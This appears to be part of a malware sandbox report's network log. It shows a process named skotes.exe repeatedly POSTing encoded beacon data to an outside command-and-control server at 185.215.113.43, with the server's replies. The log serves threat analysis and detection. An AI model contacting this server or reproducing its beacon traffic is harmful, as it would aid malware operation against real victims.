Sep 25, 2024 10:34:25.127147913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	64724	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:26.646858931 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:27.365900993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	64725	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:28.991868019 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:29.711340904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	64726	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:31.276717901 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:31.987761974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	64727	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:33.654233932 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:34.364036083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	64728	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:36.033596039 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:36.727678061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	64729	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:38.365994930 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:39.074352026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	64730	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:40.596977949 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:41.321580887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	64731	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:42.962202072 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:43.653925896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	64732	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:45.179265976 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:45.924170017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	64734	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:47.560499907 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:49.088538885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:34:49.088684082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:34:49.089701891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:34:49.500814915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	64735	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:50.659518003 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:51.384077072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	64736	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:53.551836014 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:54.441241026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:34:54.654522896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	64738	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:55.961628914 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:34:56.657454014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	64739	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:34:58.299513102 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:34:58.997339964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	64740	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:00.507788897 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:01.349664927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	64741	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:02.975737095 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:03.680735111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	64742	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:05.196363926 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:05.926621914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	64743	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:07.732815981 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:10.038031101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:35:10.038094044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:35:10.038131952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 25, 2024 10:35:10.038448095 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	64744	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:11.554435015 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B5
Sep 25, 2024 10:35:12.384273052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	64745	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 10:35:14.358572006 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 25, 2024 10:35:15.128725052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 25 Sep 2024 08:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	64746	185.215.113.43	80	1488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
